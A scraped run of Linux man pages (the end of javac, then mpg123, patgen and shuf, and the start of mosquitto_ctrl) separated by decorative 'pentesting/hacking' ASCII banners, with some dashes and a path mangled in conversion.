Prints information about which annotations a processor is asked to process.

-XprintRounds
Prints information about initial and subsequent annotation processing rounds.

-Xstdout filename
Sends compiler messages to the named file. By default, compiler messages go to System.err.

ENVIRONMENT VARIABLES

CLASSPATH

If the --class-path option or any of its alternate forms are not specified, the class path will default to the value of the CLASSPATH environment variable if it is set. However, it is recommended that this environment variable should not be set, and that the --class-path option should be used to provide an explicit value for the class path when one is required.

JDK_JAVAC_OPTIONS

The content of the JDK_JAVAC_OPTIONS environment variable, separated by white-spaces ( ) or white-space characters ( , , , or ) is prepended to the command line arguments passed to javac as a list of arguments.

The encoding requirement for the environment variable is the same as the javac command line on the system. JDK_JAVAC_OPTIONS environment variable content is treated in the same manner as that specified in the command line.

Single quotes (') or double quotes (") can be used to enclose arguments that contain whitespace characters. All content between the open quote and the first matching close quote are preserved by simply removing the pair of quotes. In case a matching quote is not found, the launcher will abort with an error message. **@**files are supported as they are specified in the command line. However, as in **@**files, use of a wildcard is not supported.

Examples of quoting arguments containing white spaces:

export JDK_JAVAC_OPTIONS='@"C:\white spacesrgfile"'

export JDK_JAVAC_OPTIONS='"@C:\white spacesrgfile"'

export JDK_JAVAC_OPTIONS='@C:\"white spaces"rgfile'

COMMAND-LINE ARGUMENT FILES

An argument file can include command-line options and source file names in any combination. The arguments within a file can be separated by spaces or new line characters. If a file name contains embedded spaces, then put the whole file name in double quotation marks.

File names within an argument file are relative to the current directory, not to the location of the argument file. Wildcards (*) are not allowed in these lists (such as for specifying *.java). Use of the at sign (@) to recursively interpret files is not supported. The -J options are not supported because they’re passed to the launcher, which does not support argument files.

When executing the javac command, pass in the path and name of each argument file with the at sign (@) leading character. When the javac command encounters an argument beginning with the at sign (@), it expands the contents of that file into the argument list.

Examples of Using javac @filename

Single Argument File
You could use a single argument file named argfile to hold all javac arguments:

javac @argfile

This argument file could contain the contents of both files shown in the following Two Argument Files example.

Two Argument Files
You can create two argument files: one for the javac options and the other for the source file names. Note that the following lists have no line-continuation characters.

Create a file named options that contains the following:

Linux and macOS:

-d classes
-g
-sourcepath /java/pubs/ws/1.3/src/share/classes

Windows:

-d classes
-g
-sourcepath C:\java\pubs\ws\1.3\src\share

2000 - Linux cli command mpg123-portaudio

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mpg123-portaudio and provides detailed information about the command mpg123-portaudio, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mpg123-portaudio.

NAME 🖥️ mpg123-portaudio 🖥️

play audio MPEG 1.0/2.0/2.5 stream (layers 1, 2 and 3)

SYNOPSIS

mpg123 [ options ] file-or-URL

DESCRIPTION

mpg123 reads one or more *file *s (or standard input if ``-’’ is specified) or *URL *s and plays them on the audio device (default) or outputs them to stdout. *file */URL is assumed to be an MPEG audio bit stream.

OPERANDS

The following operands are supported:

file(s)
The path name(s) of one or more input files. They must be valid MPEG-1.0/2.0/2.5 audio layer 1, 2 or 3 bit streams. If a dash ``-’’ is specified, MPEG data will be read from the standard input. Furthermore, any name starting with ``http://’’ or ``https://’’ is recognized as URL (see next section), while a leading ``file://’’ is being stripped for normal local file access, for consistency (since mpg123 1.30.1).

OPTIONS

mpg123 options may be either the traditional POSIX one letter options, or the GNU style long options. POSIX style options start with a single ``-’’, while GNU long options start with ``- -’’. Option arguments (if needed) follow separated by whitespace (not ``=’’). Note that some options can be absent from your installation when disabled in the build process.

INPUT OPTIONS

-k num, - -skip num
Skip first num frames. By default the decoding starts at the first frame.

-n num, - -frames num
Decode only num frames. By default the complete stream is decoded.

–fuzzy
Enable fuzzy seeks (guessing byte offsets or using approximate seek points from Xing TOC). Without that, seeks need a first scan through the file before they can jump at positions. You can decide here: sample-accurate operation with gapless features or faster (fuzzy) seeking.

-y, - -no-resync
Do NOT try to resync and continue decoding if an error occurs in the input file. Normally, mpg123 tries to keep the playback alive at all costs, including skipping invalid material and searching new header when something goes wrong. With this switch you can make it bail out on data errors (and perhaps spare your ears a bad time). Note that this switch has been renamed from –resync. The old name still works, but is not advertised or recommended to use (subject to removal in future).

-F, - -no-frankenstein
Disable support for Frankenstein streams. Normally, mpg123 stays true to the concept of MPEG audio being just a concatenation of MPEG frames. It will continue decoding even if the type of MPEG frames varies wildly. With this switch, it will only decode the input as long as it does not change its character (from layer I to layer III, changing sampling rate, from mono to stereo), silently assuming end of stream on such occasion. The switch also stops decoding of compatible MPEG frames if there was an Info frame (Xing header, Lame tag) that contained a length of the track in MPEG frames. This comes a bit closer to the notion of a MP3 file as a defined collection of MPEG frames that belong together, but gets rid of the flexibility that can be fun at times but mostly is hell for the programmer of the parser and decoder …

- -network backend
Select network backend (helper program), choices are usually auto, wget, and curl. Auto means to try the first available backend.

- -resync-limit bytes
Set number of bytes to search for valid MPEG data once lost in stream; <0 means search whole stream. If you know there are huge chunks of invalid data in your files… here is your hammer. Note: Only since version 1.14 this also increases the amount of junk skipped on beginning.

-u auth, - -auth auth
HTTP authentication to use when receiving files via HTTP. The format used is user:password. Mpg123 will clear this quickly, but it may still appear in sight of other users or even just in your shell history. You may seek alternative ways to specify that to your network backend.

- -auth-file authfile
Provide the authentication info via given file instead of command line directly.

- -ignore-mime
Ignore MIME types given by HTTP server. If you know better and want mpg123 to decode something the server thinks is image/png, then just do it.

- -no-icy-meta
Do not accept ICY meta data.

- -streamdump filename
Dump a copy of the input data (as read by libmpg123) to the given file. This enables you to store a web stream to disk while playing, or just create a concatenation of the local files you play for … why not?

- -icy-interval bytes
This setting enables you to play a stream dump containing ICY metadata at the given interval in bytes (the value of the icy-metaint HTTP response header). Without it, such a stream will play, but will cause regular decoding glitches with resync.

- -no-seekbuffer
Disable the default micro-buffering of non-seekable streams that gives the parser a safer footing.

-@ file, - -list file
Read filenames and/or URLs of MPEG audio streams from the specified file in addition to the ones specified on the command line (if any). Note that file can be either an ordinary file, a dash ``-’’ to indicate that a list of filenames/URLs is to be read from the standard input, or an URL pointing to a an appropriate list file. Note: only one -@ option can be used (if more than one is specified, only the last one will be recognized). Furthermore, for HTTP resources, the MIME type information will be used to re-open an actual MPEG stream as such instead of treating it as playlist file. So you could just always use -@ for web resources without bothering if it is a playlist or already the resolved stream address.

-l n, - -listentry n
Of the playlist, play specified entry only. n is the number of entry starting at 1. A value of 0 is the default and means playing the whole list, a negative value means showing of the list of titles with their numbers…

- -continue
Enable playlist continuation mode. This changes frame skipping to apply only to the first track and also continues to play following tracks in playlist after the selected one. Also, the option to play a number of frames only applies to the whole playlist. Basically, this tries to treat the playlist more like one big stream (like, an audio book). The current track number in list (1-based) and frame number (0-based) are printed at exit (useful if you interrupted playback and want to continue later). Note that the continuation info is printed to standard output unless the switch for piping audio data to standard out is used. Also, it really makes sense to work with actual playlist files instead of lists of file names as arguments, to keep track positions consistent.

–loop times
for looping track(s) a certain number of times, < 0 means infinite loop (not with –random!).

–keep-open
For remote control mode: Keep loaded file open after reaching end.

–timeout seconds
Timeout in (integer) seconds before declaring a stream dead (if <= 0, wait forever).

-z, - -shuffle
Shuffle play. Randomly shuffles the order of files specified on the command line, or in the list file.

-Z, –random
Continuous random play. Keeps picking a random file from the command line or the play list. Unlike shuffle play above, random play never ends, and plays individual songs more than once.

-i, - -index
Index / scan through the track before playback. This fills the index table for seeking (if enabled in libmpg123) and may make the operating system cache the file contents for smoother operating on playback.

–index-size size
Set the number of entries in the seek frame index table.

–preframes num
Set the number of frames to be read as lead-in before a seeked-to position. This serves to fill the layer 3 bit reservoir, which is needed to faithfully reproduce a certain sample at a certain position. Note that for layer 3, a minimum of 1 is enforced (because of frame overlap), and for layer 1 and 2, this is limited to 2 (no bit reservoir in that case, but engine spin-up anyway).

OUTPUT and PROCESSING OPTIONS

-o module, - -output module
Select audio output module. You can provide a comma-separated list to use the first one that works. Also see -a.

- -list-modules
List the available modules.

- -list-devices
List the available output devices for given output module. If there is no functionality to list devices in the chosen module, an error will be printed and mpg123 will exit with a non-zero code.

-a dev, - -audiodevice dev
Specify the audio device to use. The default as well as the possible values depend on the active output. For the JACK output, a comma-separated list of ports to connect to (for each channel) can be specified.

-s, - -stdout
The decoded audio samples are written to standard output, instead of playing them through the audio device. This option must be used if your audio hardware is not supported by mpg123. The output format per default is raw (headerless) linear PCM audio data, 16 bit, stereo, host byte order (you can force mono or 8bit).

-O file, - -outfile
Write raw output into a file (instead of simply redirecting standard output to a file with the shell).

-w file, - -wav
Write output as WAV file. This will cause the MPEG stream to be decoded and saved as file file , or standard output if - is used as file name. You can also use –au and –cdr for AU and CDR format, respectively. Note that WAV/AU writing to non-seekable files, or redirected stdout, needs some thought. Since 1.16.0, the logic changed to writing the header with the first actual data. This avoids spurious WAV headers in a pipe, for example. The result of decoding nothing to WAV/AU is a file consisting just of the header when it is seekable and really nothing when not (not even a header). Correctly writing data with prophetic headers to stdout is no easy business.

- -au file
Does not play the MPEG file but writes it to file in SUN audio format. If - is used as the filename, the AU file is written to stdout. See paragraph about WAV writing for header fun with non-seekable streams.

- -cdr file
Does not play the MPEG file but writes it to file as a CDR file. If - is used as the filename, the CDR file is written to stdout.

–reopen
Forces reopen of the audiodevice after ever song

–cpu decoder-type
Selects a certain decoder (optimized for specific CPU), for example i586 or MMX. The list of available decoders can vary; depending on the build and what your CPU supports. This option is only available when the build actually includes several optimized decoders.

–test-cpu
Tests your CPU and prints a list of possible choices for –cpu.

–list-cpu
Lists all available decoder choices, regardless of support by your CPU.

-g gain, - -gain gain
[DEPRECATED] Set audio hardware output gain (default: don’t change). The unit of the gain value is hardware and output module dependent. (This parameter is only provided for backwards compatibility and may be removed in the future without prior notice. Use the audio player for playing and a mixer app for mixing, UNIX style!)

-f factor, - -scale factor
Change scale factor (default: 32768).

–rva-mix, –rva-radio
Enable RVA (relative volume adjustment) using the values stored for ReplayGain radio mode / mix mode with all tracks roughly equal loudness. The first valid information found in ID3V2 Tags (Comment named RVA or the RVA2 frame) or ReplayGain header in Lame/Info Tag is used.

–rva-album, –rva-audiophile
Enable RVA (relative volume adjustment) using the values stored for ReplayGain audiophile mode / album mode with usually the effect of adjusting album loudness but keeping relative loudness inside album. The first valid information found in ID3V2 Tags (Comment named RVA_ALBUM or the RVA2 frame) or ReplayGain header in Lame/Info Tag is used.

-0, - -single0; -1, - -single1
Decode only channel 0 (left) or channel 1 (right), respectively. These options are available for stereo MPEG streams only.

-m, - -mono, - -mix, - -singlemix
Mix both channels / decode mono. It takes less CPU time than full stereo decoding.

–stereo
Force stereo output

-r rate, - -rate rate
Set sample rate (default: automatic). You may want to change this if you need a constant bitrate independent of the mpeg stream rate. mpg123 automagically converts the rate. You should then combine this with –stereo or –mono.

- -resample method
Set resampling method to employ if forcing an output rate. Choices (case-insensitive) are NtoM, dirty, and fine. The fine resampler is the default. It employs libsyn123’s low-latency fairly efficient resampler to postprocess the output from libmpg123 instead of the fast but very crude NtoM decoder (drop sample method) that mpg123 offers since decades. If you are really low on CPU time, choose NtoM, as the resampler usually needs more time than the MPEG decoder itself. The mpg123 program is smart enough to combine the 2to1 or 4to1 downsampling modes with the postprocessing for extreme downsampling.

-2, - -2to1; -4, - -4to1
Performs a downsampling of ratio 2:1 (22 kHz from 44.1 kHz) or 4:1 (11 kHz) on the output stream, respectively. Saves some CPU cycles, but of course throws away the high frequencies, as the decoder does not bother producing them.

–pitch value
Set a pitch change (speedup/down, 0 is neutral; 0.05 is 5% speedup). When not enforcing an output rate, this changes the output sampling rate, so it only works in the range your audio system/hardware supports. When you combine this with a fixed output rate, it modifies a software resampling ratio instead.

–8bit
Forces 8bit output

- -float
Forces f32 encoding

-e enc, - -encoding enc
Choose output sample encoding. Possible values look like f32 (32-bit floating point), s32 (32-bit signed integer), u32 (32-bit unsigned integer) and the variants with different numbers of bits (s24, u24, s16, u16, s8, u8) and also special variants like ulaw and alaw 8-bit. See the output of mpg123’s longhelp for actually available encodings.

-d n, - -doublespeed n
Only play every n’th frame. This will cause the MPEG stream to be played n times faster, which can be used for special effects. Can also be combined with the - -halfspeed option to play 3 out of 4 frames etc. Don’t expect great sound quality when using this option.

-h n, - -halfspeed n
Play each frame n times. This will cause the MPEG stream to be played at 1/n’th speed (n times slower), which can be used for special effects. Can also be combined with the - -doublespeed option to double every third frame or things like that. Don’t expect great sound quality when using this option.

-E file, - -equalizer
Enables equalization, taken from file. The file needs to contain 32 lines of data, additional comment lines may be prefixed with #. Each data line consists of two floating-point entries, separated by whitespace. They specify the multipliers for left and right channel of a certain frequency band, respectively. The first line corresponds to the lowest, the 32nd to the highest frequency band. Note that you can control the equalizer interactively with the generic control interface. Also note that these are the 32 bands of the MPEG codec, not spaced like you would see for a usual graphic equalizer. The upside is that there is zero computational cost in addition to decoding. The downside is that you roughly have bass in band 0, (upper) mids in band 1, treble in all others.

- -gapless
Enable code that cuts (junk) samples at beginning and end of tracks, enabling gapless transitions between MPEG files when encoder padding and codec delays would prevent it. This is enabled per default beginning with mpg123 version 1.0.0 .

- -no-gapless
Disable the gapless code. That gives you MP3 decodings that include encoder delay and padding plus mpg123’s decoder delay.

- -no-infoframe
Do not parse the Xing/Lame/VBR/Info frame, decode it instead just like a stupid old MP3 hardware player. This implies disabling of gapless playback as the necessary information is in said metadata frame.

-D n, –delay n
Insert a delay of n seconds before each track.

-o h, - -headphones
Direct audio output to the headphone connector (some hardware only; AIX, HP, SUN).

-o s, - -speaker
Direct audio output to the speaker (some hardware only; AIX, HP, SUN).

-o l, - -lineout
Direct audio output to the line-out connector (some hardware only; AIX, HP, SUN).

-b size, - -buffer size
Use an audio output buffer of size Kbytes. This is useful to bypass short periods of heavy system activity, which would normally cause the audio output to be interrupted. You should specify a buffer size of at least 1024 (i.e. 1 Mb, which equals about 6 seconds of audio data) or more; less than about 300 does not make much sense. The default is 0, which turns buffering off.

- -preload fraction
Wait for the buffer to be filled to fraction before starting playback (fraction between 0 and 1). You can tune this prebuffering to either get faster sound to your ears or safer uninterrupted web radio. Default is 0.2 (wait for 20 % of buffer to be full, changed from 1 in version 1.23).

- -devbuffer seconds
Set device buffer in seconds; <= 0 means default value. This is the small buffer between the application and the audio backend, possibly directly related to hardware buffers.

- -smooth
Keep buffer over track boundaries – meaning, do not empty the buffer between tracks for possibly some added smoothness.

MISC OPTIONS

-t, - -test
Test mode. The audio stream is decoded, but no output occurs.

-c, - -check
Check for filter range violations (clipping), and report them for each frame if any occur.

-v, - -verbose
Increase the verbosity level. For example, displays the frame numbers during decoding.

-q, - -quiet
Quiet. Suppress diagnostic messages.

-C, - -control
Enable terminal control keys. This is enabled automatically if a terminal is detected. By default use ’s’ or the space bar to stop/restart (pause, unpause) playback, ‘f’ to jump forward to the next song, ‘b’ to jump back to the beginning of the song, ‘,’ to rewind, ‘.’ to fast forward, and ‘q’ to quit. Type ‘h’ for a full list of available controls. The A-B loop feature with key ‘o’ changes the preset loop interval to the interval between two presses of ‘o’, the third press (or ‘p’) ending the looped playback. The key ‘p’ will use the updated loop interval after that.

- -no-control
Disable terminal control even if terminal is detected.

- -title
In an xterm, rxvt, screen, iris-ansi (compatible, TERM environment variable is examined), change the window’s title to the name of song currently playing.

- -pauseloop seconds
Set the length of the loop interval in terminal control fixed looping mode, away from the default of 0.5 seconds, as a floating point number. This value can be overwritten at runtime using the A-B loop feature.

- -name name
Set the name of this instance, possibly used in various places. This sets the client name for JACK output.

- -long-tag
Display ID3 tag info always in long format with one line per item (artist, title, …)

–utf8
Regardless of environment, print metadata in UTF-8 (otherwise, when not using UTF-8 locale, you’ll get ASCII stripdown).

-R, - -remote
Activate generic control interface. mpg123 will then read and execute commands from stdin. Basic usage is ``load <filename> ’’ to play some file and the obvious ``pause’’, ``command. ``jump <frame>’’ will jump/seek to a given point (MPEG frame number). Issue ``help’’ to get a full list of commands and syntax.

- -remote-err
Print responses for generic control mode to standard error, not standard out. This is automatically triggered when using -s.

–fifo path
Create a fifo / named pipe on the given path and use that for reading commands instead of standard input.

- -aggressive
Tries to get higher priority

-T, –realtime
Tries to gain realtime priority. This option usually requires root privileges to have any effect.

-?, - -help
Shows short usage instructions.

- -longhelp
Shows long usage instructions.

- -version
Print the version string.

- -libversion
Print version information on the mpg123 libraries being used (libmpg123, libout123, libsyn123).

HTTP SUPPORT

In addition to reading MPEG audio streams from ordinary files and from the standard input, mpg123 supports retrieval of MPEG audio streams or playlists via the HTTP protocol, which is used in the World Wide Web (WWW). Such files are specified using a so-called URL, which starts with http:// or https://. When a file with that prefix is encountered, mpg123 since 1.30.0 will by default call an external helper program (either wget(1) or curl(1), see the - -network option) to retrieve the resource. You can configure access via a proxy server using the standard environment variables those programs support. The - -proxy option that mpg123 before 1.30.0 used for its internal network code is gone in the default build now and will probably disappear for good with 1.31.1.

Note that, in order to play MPEG audio files from a WWW server, it is necessary that the connection to that server is fast enough. For example, a 128 kbit/s MPEG file requires the network connection to be at least 128 kbit/s (16 kbyte/s) plus protocol overhead. If you suffer from short network outages, you should try the -b option (buffer) to bypass such outages. If your network connection is generally not fast enough to retrieve MPEG audio files in realtime, you can first download the files to your local harddisk (e.g. using wget(1)) and then play them from there.

Streams with embedded ICY metadata are supported, the interval being communicated via HTTP headers or - -icy-interval.

INTERRUPT

When in terminal control mode, you can quit via pressing the q key, while any time you can abort mpg123 by pressing Ctrl-C. If not in terminal control mode, this will skip to the next file (if any). If you want to abort playing immediately in that case, press Ctrl-C twice in short succession (within about one second).

Note that the result of quitting mpg123 pressing Ctrl-C might not be audible immediately, due to audio data buffering in the audio device. This delay is system dependent, but it is usually not more than one or two seconds.

PLAYBACK STATUS LINE

In verbose mode, mpg123 updates a line with various information centering around the current playback position. On any decent terminal, the line also works as a progress bar in the current file by reversing video for a fraction of the line according to the current position. An example for a full line is this:

> 0291+0955 00:01.68+00:28.22 [00:05.30] mix 100=085 192 kb/s 576 B acc 18 clip p+0.014

The information consists of, in order:

>
single-character playback state (``>’’ for playing, ``=’’ for pausing/looping, ``_’’ for stopped)

0291+0955
current frame offset and number of remaining frames after the plus sign

00:01.68+00:28.22
current position from and remaining time in human terms (hours, minutes, seconds)

[00:05.30]
fill of the output buffer in terms of playback time, if the buffer is enabled

mix
selected RVA mode (possible values: mix, alb (album), and - - - (neutral, off))

100=085
set volume and the RVA-modified effective volume after the equal sign

192 kb/s
current bitrate

576 B
size of current frame in bytes

acc
if positions are accurate, possible values are ``acc’’ for accurate positions or ``fuz’’ for fuzzy (with guessed byte offsets using mean frame size)

18 clip
amount of clipped samples, non-zero only if decoder reports that (generic does, some optimized ones not)

p+0.014
pitch change (increased/decreased playback sampling rate on user request)

NOTES

MPEG audio decoding requires a good deal of CPU performance, especially layer-3. To decode it in realtime, you should have at least an i486DX4, Pentium, Alpha, SuperSparc or equivalent processor. You can also use the -m option to decode mono only, which reduces the CPU load somewhat for layer-3 streams. See also the -2 and -4 options.

If everything else fails, have mpg123 decode to a file and then use an appropriate utility to play that file with less CPU load. Most probably you can configure mpg123 to produce a format suitable for your audio device (see above about encodings and sampling rates).

If your system is generally fast enough to decode in realtime, but there are sometimes periods of heavy system load (such as cronjobs, users logging in remotely, starting of ``big’’ programs etc.) causing the audio output to be interrupted, then you should use the -b option to use a buffer of reasonable size (at least 1000 Kbytes).

EXIT CODE

Up to version 1.25.x, mpg123 always returned exit code 0 also for complete junk on the input side. Fatal errors were only considered for output. With version 1.26.0, this changed to the behaviour described below.

When not using the remote control interface (which returns input errors as text messages), the process exit code is zero (success) only if all tracks in a playlist had at least one frame parsed, even if it did not decode cleanly, or are empty, MPEG-wise (perhaps only metadata, or really an empty file). When you decode nothing, nothing is the result and that is fine. When a track later aborts because of parser errors or breakdown of the network communication, this is treated as end of a track, but does not make the process as such fail. One really bad (or non-existing) stream in the playlist results in a non-zero error code, consistent with other UNIX tools.

An error in audio output results in the process ending with a non-zero exit code immediately, regardless of how much data has been successfully played before. The forgiveness is only on the input side.

BUGS

Mostly MPEG-1 layer 2 and 3 are tested in real life. Please report any issues and provide test files to help fixing them.

No CRC error checking is performed. But the decoder is built and tested to behave nicely with damaged streams. Mostly, damaged frames will just be silent.

Some platforms lack audio hardware support; you may be able to use the -s switch to feed the decoded data to a program that can play it on your audio device.

AUTHORS

Maintainer:

Thomas Orgis <[email protected]>, <[email protected]>

Original Creator:

Michael Hipp

Uses code or ideas from various people, see the AUTHORS file accompanying the source code.

LICENSE

mpg123 is licensed under the GNU Lesser/Library General Public License, LGPL, version 2.1 .

WEBSITE

http://www.mpg123.org
http://sourceforge.net/projects/mpg123

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2001 - Linux cli command patgen

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command patgen and provides detailed information about the command patgen, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the patgen.

NAME 🖥️ patgen 🖥️

generate patterns for TeX hyphenation

SYNOPSIS

patgen dictionary_file pattern_file patout_file translate_file

DESCRIPTION

This manual page is not meant to be exhaustive. See also the Info file or manual Web2C: A TeX implementation available as part of the TeX Live distribution or at http://tug.org/web2c.

The patgen program reads the dictionary_file containing a list of hyphenated words and the pattern_file containing previously-generated patterns (if any) for a particular language (not a complete TeX source file; see below), and produces the patout_file with (previously- plus newly-generated) hyphenation patterns for that language. The translate_file defines language specific values for the parameters left_hyphen_min and right_hyphen_min used by TeX’s hyphenation algorithm and the external representation of the lower and upper case version(s) of all `letters’ of that language. Further details of the pattern generation process such as hyphenation levels and pattern lengths are requested interactively from the user’s terminal. Optionally patgen creates a new dictionary file **pattmp.**n showing the good and bad hyphens found by the generated patterns, where n is the highest hyphenation level.

The patterns generated by patgen can be read by initex for use in hyphenating words. For a real-life example of patgen’s output, see $TEXMFMAIN/tex/generic/hyphen/hyphen.tex, which contains the patterns TeX uses for English by default. At some sites, patterns for (many) other languages may be available, and the local tex programs may have them preloaded.

All filenames must be complete; no adding of default extensions or path searching is done.

FILE FORMATS

Letters
When initex digests hyphenation patterns, TeX first expands macros and the result must entirely consist of digits (hyphenation levels), dots (`.’, edge of a word), and letters. In pattern files for non-English languages letters are often represented by macros or other expandable constructs. For the purpose of patgen these are just character sequences, subject to the condition that no such sequence is a prefix of another one.

Dictionary file
A dictionary file contains a weighted list of hyphenated words, one word per line starting in column 1. A digit in column 1 indicates a global word weight (initially =1) applicable to all following words up to the next global word weight. A digit at some intercharacter position indicates a weight for that position only.

The hyphens in a word are indicated by `-’, `*’, or `.’ (or their replacements as defined in the translate file) for hyphens yet to be found, `good’ hyphens (correctly found by the patterns), and `bad’ hyphens (erroneously found by the patterns) respectively; when reading a dictionary file `*’ is treated like `-’ and `.’ is ignored.

Pattern file
A pattern file contains only patterns in the format above, e.g., from a previous run of patgen. It may not contain any TeX comments or control sequences. For instance, this is not a valid pattern file:

% this is a pattern file read by TeX.
\patterns{%
 . . .
}

It can only contain the actual patterns, i.e., the `. . .'.

Translate file
A translate file starts with a line containing the values of left_hyphen_min in columns 1-2, right_hyphen_min in columns 3-4, and either a blank or the replacement for one of the “hyphen” characters `-’, `*’, and `.’ in columns 5, 6, and 7. (Input lines are padded with blanks as for many TeX related programs.)

Each following line defines one `letter’: an arbitrary delimiter character in column 1, followed by one or more external representations of that character (first the `lower’ case one used for output), each one terminated by the delimiter and the whole sequence terminated by another delimiter.

If the translate file is empty, the values left_hyphen_min=2, right_hyphen_min=3, and the 26 lower case letters a. . .z with their upper case representations A. . .Z are assumed.

Terminal input
After reading the translate_file and any previously-generated patterns from pattern_file, patgen requests input from the user’s terminal.

First the integer values of hyph_start and hyph_finish, the lowest and highest hyphenation level for which patterns are to be generated. The value of hyph_start should be larger than any hyphenation level already present in pattern_file.

Then, for each hyphenation level, the integer values of pat_start and pat_finish, the smallest and largest pattern length to be analyzed, as well as good weight, bad weight, and threshold, the weights for good and bad hyphens and a weight threshold for useful patterns.

Finally the decision (`y’ or `Y’ vs. anything else) whether or not to produce a hyphenated word list.

FILES

$TEXMFMAIN/tex/generic/hyphen/hyphen.tex
The original hyphenation patterns for English, by Donald Knuth and Frank Liang.

http://www.ctan.org/pkg/ushyph
Additional hyphenation patterns for English, extended by Gerard Kuiken.

http://www.ctan.org/pkg/hyph-utf8
Collected hyphenation patterns for many languages in many formats.

http://www.ctan.org/tex-archive/language/
General CTAN directory for patterns and support for many other languages.

SEE ALSO

Frank Liang and Peter Breitenlohner, patgen.web.

Frank Liang, Word hy-phen-a-tion by com-puter, STAN-CS-83-977, Stanford University Ph.D. thesis, 1983, http://tug.org/docs/liang.

Donald E. Knuth, The TeXbook, Addison-Wesley, 1986, ISBN 0-201-13447-0, Appendix H.

AUTHORS

Frank Liang wrote the first version of this program. Peter Breitenlohner made a substantial revision in 1991 for TeX 3. The first version was published as the appendix to the TeXware technical report. Howard Trickey originally ported it to Unix.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2002 - Linux cli command shuf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command shuf and provides detailed information about the command shuf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the shuf.

NAME 🖥️ shuf 🖥️

generate random permutations

SYNOPSIS

shuf [OPTION]… [FILE]
shuf -e [OPTION]… [ARG]…
shuf -i LO-HI [OPTION]…

DESCRIPTION

Write a random permutation of the input lines to standard output.

With no FILE, or when FILE is -, read standard input.

Mandatory arguments to long options are mandatory for short options too.

-e, –echo
treat each ARG as an input line

-i, –input-range=LO-HI
treat each number LO through HI as an input line

-n, –head-count=COUNT
output at most COUNT lines

-o, –output=FILE
write result to FILE instead of standard output

–random-source=FILE
get random bytes from FILE

-r, –repeat
output lines can be repeated

-z, –zero-terminated
line delimiter is NUL, not newline

–help
display this help and exit

–version
output version information and exit

AUTHOR

Written by Paul Eggert.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

Full documentation <https://www.gnu.org/software/coreutils/shuf>
or available locally via: info ‘(coreutils) shuf invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2003 - Linux cli command mosquitto_ctrl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mosquitto_ctrl and provides detailed information about the command mosquitto_ctrl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mosquitto_ctrl.

NAME 🖥️ mosquitto_ctrl 🖥️

a tool for initialising/configuring a Mosquitto broker instance

SYNOPSIS

